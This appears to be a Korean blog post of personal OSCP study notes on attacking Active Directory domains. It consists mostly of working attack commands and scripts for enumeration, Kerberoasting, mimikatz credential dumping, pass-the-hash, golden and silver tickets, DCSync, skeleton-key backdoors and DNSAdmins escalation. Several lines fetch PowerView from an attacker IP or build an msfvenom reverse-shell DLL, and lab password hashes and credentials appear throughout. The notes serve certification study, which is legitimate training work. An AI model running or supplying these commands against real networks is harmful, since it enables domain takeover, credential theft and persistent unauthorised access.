ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • about AD(Active Directory)
    Certification/OSCP 2022. 3. 11. 08:17

    OSCP 과정 중 Active Directory 대상 공격 방법에 대해 기록한 내용이다. 공개용보다는 기록해둔 내용을 스스로 다시 확인하며 공부하려는 목적으로 작성했어서 가독성이 좋지 않을 수 있다.

     

    0. 개요

    Domain Controller - AD의 특정 인스턴스가 구성되는 방식에 대한 모든 정보 저장. Windows 2000~2019서버

    Domain - AD의 인스턴스가 구성되면 생성됨. ex) corp.com

    Computer Object - 도메인에 가입된 실제 서버 및 워크스테이션(도메인의 일부)

    User Object - 사용자 개체(조직의 직원)

     

    1. AD 열거

    목표 -Fr

    * Domain Admins 그룹 구성원 손상시켜 도메인의 모든 컴퓨터 제어

    * 도메인 컨트롤러 제어(DC는 모든 사용자계정의 해시암호 포함)

     

    1-1. Traditional Approach

    > net user

    > net user /domain

    > net user jeff_admin /domain

    > net group /domain

     

    1-2. A Morden Approach

    > powershell # or powershell -ep bypass​

    PS> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

     

    LDAP

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    $SearchString

     

    All Users

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain
    
    $Searcher.filter="samAccountType=805306368"
    $Searcher.FindAll()

    * + additional information

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain
    
    $Searcher.filter="samAccountType=805306368"
    # Domain Admins : $Searcher.filter="memberof=CN=Domain Admins,CN=Users,DC=corp,DC=com"
    # Computers:  $Searcher.filter="objectcategory=CN=Computer,CN=Schema,CN=Configuration,DC=corp,DC=com"
    # Find Win10:  $Searcher.filter="operatingsystem=*windows 10*"
    $Result = $Searcher.FindAll()
    Foreach($obj in $Result)
    {
        Foreach($prop in $obj.Properties)
        {
            $prop
        }
        
        Write-Host "------------------------"
    }

     

    1-3. Resolving Nested Groups

    Domain Groups

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain
    
    $Searcher.filter="(objectClass=Group)"
    $Result = $Searcher.FindAll()
    Foreach($obj in $Result)
    {
        $obj.Properties.name
    }

    Group Member

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain
    
    $Searcher.filter="(name=Secret_Group)" # Groupname ex) Secret_Group
    $Result = $Searcher.FindAll()
    Foreach($obj in $Result)
    {
        $obj.Properties.member
    }

     * Domain Groups + Members

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain
    $Searcher.filter="(objectClass=Group)"
    
    $Result = $Searcher.FindAll()
    $Groups = New-Object Collections.Generic.List[String]
    Foreach($obj in $Result)
    {
     $Groups.add($obj.Properties.name)
    }
    Foreach($name in $Groups){
     $Searcher.filter="(name="+$name+")"
     $Result = $Searcher.FindAll()
     $name
     Foreach($obj in $Result)
     {
      $obj.Properties.member
     }
     Write-Host "-------------------------"
     
    }

     

    1-4. Currently Logged on Users

    Current User

     - 로컬관리자 권한 필요

    powershell -ep bypass
    Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
    Import-Module .\PowerView.ps1
    Get-NetLoggedon -ComputerName client251
    Get-NetSession -ComputerName dc01
    Get-NetComputer -fulldata | select operatingsystem # 현재 pc 외 네트워크 내부에서 실행되는 운영체제 확인
    Get-NetUser | select cn # 도메인 사용자 열거
    Get-NetGroup -GroupName *
    
    powershell -exec Bypass -C "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.119.139/PowerView.ps1');Get-NetLoggedOn -ComputerName client251"
    ## import powerview from kali.
    
    Invoke-ShareFinder # 기본적으로 설정되지 않은 공유폴더 확인

     

    1-5. SPN 열거

    SPN

    $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
    $PDC = ($domainObj.PdcRoleOwner).Name
    $SearchString = "LDAP://"
    $SearchString += $PDC + "/"
    $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
    $SearchString += $DistinguishedName
    
    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $objDomain = New-Object System.DirectoryServices.DirectoryEntry
    $Searcher.SearchRoot = $objDomain
    
    $Searcher.filter="serviceprincipalname=*http*"
    # $Searcher.filter="serviceprincipalname=*corp.com*" 
    $Result = $Searcher.FindAll()
    Foreach($obj in $Result)
    {
        Foreach($prop in $obj.Properties)
        {
            $prop
            # nslookup $prop.dnshostname
        }
    }

    * all SPN

    $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
    $search.filter = "(servicePrincipalName=*)"
    
    $results = $search.Findall()
    
    foreach( $result in $results ) {
    	$userEntry = $result.GetDirectoryEntry()
    	Write-host "Object Name	=	"	$userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
    	Write-host "DN	=	"	$userEntry.distinguishedName
    	Write-host "Object Cat.	=	" $userEntry.objectCategory
    	Write-host "servicePrincipalNames"
    
    	$i=1
    	foreach( $SPN in $userEntry.servicePrincipalName ) {
    		Write-host "SPN ${i} =$SPN"
    		$i+=1
    	}
    	Write-host ""
    }

    https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx

     

    https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/Get-SPN.ps1

     

    GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.

    Empire is a PowerShell and Python post-exploitation agent. - GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.

    github.com

     

    * bloodhound

    apt-get install bloodhound
    neo4j console
    Import-Module .\SharpHound.ps1
    Invoke-Bloodhound -c All -d CONTROLLER.local --zipfilename loot.zip
    ./SharpHound.exe -C All -d htb.local --zipfilename loot.zip
    ./SharpHound.exe -c All -d htb.local --ldapusername svc-alfresco --ldappassword s3rvice
    zip파일 옮기고 bloodhood에 import

     

    2. AD 인증

    NTML

    Kerberos

    # Enumeration with kerbrute
    ./kerbrute userenum --dc CONTROLLER.local[Target] -d CONTROLLER.local[domain] User.txt[file]
    --> 사용자 목록 뽑고, 패스워드 없이 접근 가능한거 있나 확인
    python /usr/local/bin/GetNPUsers.py spookysec.local/ -usersfile userlist_valid.txt -dc-ip 10.10.28.230 -no-pass
    
    // ID, PW 알면 evil-winrm -i 10.129.114.244 -u arksvc -p w3lc0meFr31nd
    
    # Harvesting Tickets with Rubeus
    > Rubeus.exe harvest /interval:30 # This command tells Rubeus to harvest for TGTs every 30 seconds
    
    # brute
    >echo 10.10.203.122 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
    > Rubeus.exe brute /password:Password1 /noticket # This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user

    2-1. 캐시된 자격증명 저장 및 검색

    해시는 LSASS(Local Security Authority Subsystem Service) 1 메모리 공간에 저장

    mimikatz - 로컬 관리자권한 필요

    > mimikatz.exe
    # privilege::debug
    # sekurlsa::logonpasswords // check NTLM, SHA1 ..
    * john --format=NT NTLM.txt --wordlist=/usr/share/wordlists/rockyou.txt
    # sekurlsa::tickets // check TGS, TGT
    
    bypass UAC
    https://ivanitlearning.wordpress.com/2019/07/07/bypassing-default-uac-settings-manually/
    https://github.com/turbo/zero2hero
    # Dumping KRBASREP5 Hashes w/ Rubeus
    c:> Rubeus.exe asreproast
    copy to hash.txt
    Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User.....
    kali~$ hashcat -m 18200 hash.txt Pass.txt --force
    참고
    https://hashcat.net/wiki/doku.php?id=example_hashes

    2-2. 서비스계정 공격

    SPN 확인 (ex. HTTP/CorpWebServer.corp.com)

    KerberosRequestorSecurityToken 생성자를 호출

    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'
    klist // server: 에 SPN 추가된거 확인
    mimikatz # kerberos::list /export // 다운로드
    
    kali~$ sudo apt update && sudo apt install kerberoast
    move to kali .kirbi file
    kali~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
    kali~$ python /usr/share/john/kirbi2john.py ~~.kirbi > ~~.txt
    kali~$ john --format=krb5tgs ~~.txt --wordlist=wordlist.txt

    Kerberos 프로토콜에 따르면 서비스 티켓은 SPN의 암호 해시를 사용하여 암호화됩니다. 티켓을 요청하고 무차별 대입 또는 추측을 사용하여 암호를 해독할 수 있다면( Kerberoasting 이라고 하는 기술에서 ) 암호 해시를 알게 되며 이를 통해 서비스 계정의 일반 텍스트 암호를 해독할 수 있습니다. 추가 보너스 로 이 공격에는 관리자 권한이 필요 하지 않습니다 .

    kali~$ sudo apt update && sudo apt install kerberoast
    kali~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi
    
    kali~$ /usr/share/john/kirbi2john.py otherSpn.kirbi > otherSpn.txt
    kali~$ john --format=krb5tgs otherSpn.txt --wordlist=wordlist.txt
    
    C:> Rubeus.exe kerberoast
    --> hash copy to kali(hash.txt)
    kali~$ hashcat -m 13100 --force hash.txt Pass.txt # hashcat -m 13100 -a 0 hash.txt Pass.txt
    
    kali~$ sudo python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.203.122 -request
    # kerberoast remortly

    2-3. 암호추측

    PS> net accounts
    
    PS> .\Spray-Passwords.ps1 -Pass Qwerty09! -Admin

     

    3. AD 측면이동

    reg save HKLM\sam sam
    reg save HKLM\system system

    3-1. 해시 전달

    PtH ( Pass the Hash ) 기술을 사용하면 공격자가 연결된 일반 텍스트 암호 대신 사용자의 NTLM 해시를 사용하여 원격 시스템이나 서비스에 인증할 수 있습니다. Kerberos 인증에는 작동하지 않고 NTLM 인증을 사용하는 서버 또는 서비스에만 적용됩니다.

    공격자가 SMB(Server Message Block) 프로토콜을 사용하여 피해자에 연결하고 NTLM 해시를 사용하여 인증을 수행한다

    kali~$ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
    // Administrator%LM해시:NTLM해시
    
    kali~$ impacket-psexec tris@10.11.1.24 -hashes :08df3c73ded940e1f2bcf5eea4b8dbf6
    # after mimikatz.exe -> privilege::debug -> sekurlsa::logonpasswords, check username and ntlm
    sekurlsa::tickets /export
    kerberos::ptt <ticket>

    이 방법은 Active Directory 도메인 계정 및 기본 제공 로컬 관리자 계정에 대해 작동합니다. 2014년 보안 업데이트 이후 7 이 기술은 다른 로컬 관리자 계정으로 인증하는 데 사용할 수 없습니다.

     

    3-2. 해시 오버패스

    오버패스 해시 기술(캡처된 NTLM 해시와 함께)을 사용하여 Kerberos TGT를 획득하여 Kerberos를 사용하여 인증

    (로컬 관리자 권한 필요)

    mimikatz # privilege::debug
    mimikatz # sekurlsa::logonpasswords // 타도메인 사용자여부, 그의 NTML 확인

    오버패스 해시 기술의 핵심은 NTLM 해시를 Kerberos 티켓으로 변환하고 NTLM 인증 사용을 피하는 것입니다.

    mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:2892d26cdf84d7a70e2eb3b9f05c425e /run:PowerShell.exe
    # run powershell
    
    PS > klist # not work
    PS > net use \\dc01
    PS > klist # work
    PS > .\PsExec.exe \\dc01 cmd.exe # got jeff_admin's shell # klist 없어도 같은 자격증명 사용하면 가능

     

    3-3. 티켓 전달

    패스 티켓 공격 은 네트워크의 다른 곳에서 내보내고 다시 주입한 다음 특정 서비스에 인증하는 데 사용할 수 있는 TGS를 이용합니다.  (로컬 관리자 권한 필요)

    Mimikatz는 실버 티켓을 만들어 (다소 오해의 소지가 있는) kerberos::golden 명령을 통해 메모리에 바로 주입할 수 있습니다. 

    티켓을 생성하려면 먼저 도메인의 소위 보안 식별자 또는 SID를 얻어야 합니다. SID는 Active Directory의 모든 개체에 대한 고유한 이름이며 다음과 같은 구조를 갖습니다.

    whoami /user
    
    S-R-I-S
    ex) S-1-5-21-2536614405-3629634762-1218571035-1116

    S-1-5 --> AD 내 정적

    21-2536614405-3629634762-1218571035 --> 동적이며 도메인의 숫자식별자

    1116 --> 도메인의 특정 개체

    # HTTP 서비스(iis_service 계정)에 대한 실버티켓 생성
    mimikatz # kerberos::purge # 기존 티켓 플러시
    mimikatz # kerberos::list # 제거 확인
    
    mimikatz # kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /target:CorpWebServer.corp.com /service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
    
    mimikatz # kerberos::list # 실버 티켓 생성 확인

     

    3-4. DCOM

    DCOM과의 상호 작용은 TCP 포트 135에서 RPC를 통해 수행되며 본질적으로 API인 DCOM 서비스 제어 관리자를 호출하려면 로컬 관리자 액세스가 필요합니다.

    MS office 필요..

     

    4. AD 지속성

    4-1. 골든 티켓

    Kerberos 인증에 대한 설명으로 돌아가서 사용자가 TGT에 대한 요청을 제출하면 KDC가 도메인의 KDC만 알고 있는 비밀 키로 TGT를 암호화한다는 것을 기억합니다. 이 비밀 키는 실제로 krbtgt 라는 도메인 사용자 계정의 암호 해시입니다 .

    krbtgt 암호 해시를 얻을 수 있다면 자체 제작한 맞춤형 TGT 또는 골든 티켓 을 만들 수 있습니다 .

    실제로 이 비밀번호는 도메인 기능 수준이 Windows 2003에서 Windows 2008로 업그레이드된 경우에만 변경됩니다. 이 때문에 매우 오래된 krbtgt 비밀번호 해시를 찾는 것이 일반적입니다.

    ## DC
    mimikatz # privilege::debug
    mimikatz # lsadump::lsa /patch # get krbtgt's NTLM
    ## windows
    mimikatz # kerberos::purge
    mimikatz # kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-4038953314-3014849035-1274281563 /krbtgt:fc274a94b36874d2560a7bd332604fab /ptt
    mimikatz # misc::cmd
    
    > psexec.exe \\dc01 cmd.exe
    lsadump::lsa /inject /name:krbtgt # name at SQLService, Administrator ..
    kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500
    misc::cmd

    https://wizard32.net/blog/knock-and-pass-kerberos-exploitation.html

     

    Knock and Pass: Kerberos Exploitation

    The purpose of this post is not to teach you or to re/present how to exploit a DC in order to retrieve the Kerberos ticket without assigning your host machine into the Domain Controller

    wizard32.net

    https://github.com/mubix/pykek

     

    GitHub - mubix/pykek: Kerberos Exploitation Kit

    Kerberos Exploitation Kit. Contribute to mubix/pykek development by creating an account on GitHub.

    github.com

    goldenPac.py 'htb.local/james:J@m3s_P@ssW0rd!@mantis'

     

     

    4-2. 도메인 컨트롤러 동기화

    도메인 계정으로 클라이언트 접속 후 관리자계정 NTLM 탈취

    mimikatz # lsadump::dcsync /user:Administrator
    
    DCsync Attack - "EXCHANGE WINDOWS PERMISSIONS"
    
    net user vardyvardy vardyvardy /add /domain
    net group "Exchange Windows Permissions" /add miku
    certutil.exe -urlcache -split -f "http://10.10.14.12/PowerView.psm1" c:\temp\PowerView.psm1
    Import-Module .\PowerView.psm1
    $pass = convertto-securestring 'vardyvardy' -AsPlainText -Force
    $cred = New-Object System.Management.Automation.PSCredential ('HTB\vardyvardy', $pass)
    Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity vardyvardy -Rights DCSync
    secretsdump.py htb.local/miku:miku@123@10.129.114.118

     

    * kerberos backdoor /w mimikatz

    c:> mimikatz.exe
    # privilege::debug
    # misc::skeletion
    
    net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
    dir \\Desktop-1\c$ /user:Machine1 mimikatz

     

    * secretdump

    secretsdump.py backup:backup2517860@spookysec.local -dc-ip 10.10.28.230

     

    * AD Recycle Bin Group

    net user arksvc
    Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
    Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *

     

    * DNSAdmins Group

    msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll
    msfvenom -p windows/x64/exec cmd='net group "domain admins" melanie /add /domain' --platform windows -f dll > dns.dll
    
    dnscmd testmachine.test.local /config /serverlevelplugindll \\192.168.43.100\share\privesc.dll
    
    PS C:\> Get-ItemProperty 
    HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
    
    sc.exe <DC의 FQDN> stop dns 
    sc.exe <DC의 FQDN> start dns
    
    https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

     

     

    반응형

    'Certification > OSCP' 카테고리의 다른 글

    OSCP 자격증 취득 후기 (Offensive Security Certified Professional)  (10) 2022.05.16
    Summary Sheet  (0) 2021.11.11
    LABs  (0) 2021.11.03
    Day 48~49  (0) 2021.11.01
    Day 47  (0) 2021.11.01

    댓글

Designed by Tistory.